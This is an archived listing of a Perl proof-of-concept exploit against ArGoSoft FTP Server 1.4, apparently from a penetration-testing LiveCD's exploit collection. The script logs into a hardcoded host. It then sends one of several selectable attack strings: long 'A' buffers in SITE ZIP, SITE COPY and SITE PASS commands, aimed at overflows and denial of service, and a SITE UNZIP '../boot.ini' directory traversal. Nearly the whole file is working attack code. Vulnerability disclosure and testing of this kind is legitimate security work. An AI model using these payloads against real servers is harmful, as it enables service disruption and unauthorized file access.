home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / argosoft / argosoft-poc.pl < prev   
Perl Script  |  2005-02-12  |  1KB  |  80 lines

  1. #!/usr/bin/perl
  2. # Multiple Vulnerabilities in ArGoSoft FTP Server version 1.4 (1.4.1.4)
  3. # Created by Beyond Security Ltd. - All rights reserved.
  4.  
  5. use IO::Socket;
  6.  
  7. $host = "192.168.1.243";
  8.  
  9. $remote = IO::Socket::INET->new ( Proto => "tcp",
  10.      PeerAddr => $host,
  11.      PeerPort => "2119",,
  12.     );
  13.  
  14. unless ($remote) { die "cannot connect to ftp daemon on $host" }
  15.  
  16. print "connected\n";
  17. while (<$remote>)
  18. {
  19.  print $_;
  20.  if (/220 /)
  21.  {
  22.   last;
  23.  }
  24. }
  25.  
  26.  
  27. $remote->autoflush(1);
  28.  
  29. my $ftp = "USER username\r\n";
  30.  
  31. print $remote $ftp;
  32. print $ftp;
  33. sleep(1);
  34.  
  35. while (<$remote>)
  36. {
  37.  print $_;
  38.  if (/331 /)
  39.  {
  40.   last;
  41.  }
  42. }
  43.  
  44. $ftp = join("", "PASS ", "password", "\r\n");
  45. print $remote $ftp;
  46. print $ftp;
  47. sleep(1);
  48.  
  49. while (<$remote>)
  50. {
  51.  print $_;
  52.  if (/230 /)
  53.  {
  54.   last;
  55.  }
  56. }
  57.  
  58. #$ftp = join ("", "SITE ZIP ", "A"x512, "\r\n");
  59. #$ftp = join ("", "SITE ZIP storm.zip /f:", "A"x2048, "\r\n");
  60. #$ftp = join ("", "SITE COPY ", "A"x2048, " ", "A"x10, "\r\n");
  61. #$ftp = join ("", "SITE UNZIP ", "../boot.ini\r\n"); # Directory Traversal (we know a certain file exists)
  62. #$ftp = join ("", "SITE PASS ", "storm ", "A"x3500, "\r\n"); # DoS ... against the user database
  63.  
  64. #Choose one of the above to test the vulnerabilities mentioned
  65.  
  66. print $remote $ftp;
  67. print $ftp;
  68. sleep(1);
  69.  
  70. while (<$remote>)
  71. {
  72.  print $_;
  73.  if (/250 Done/)
  74.  {
  75.   last;
  76.  }
  77. }
  78.  
  79. close $remote;
  80.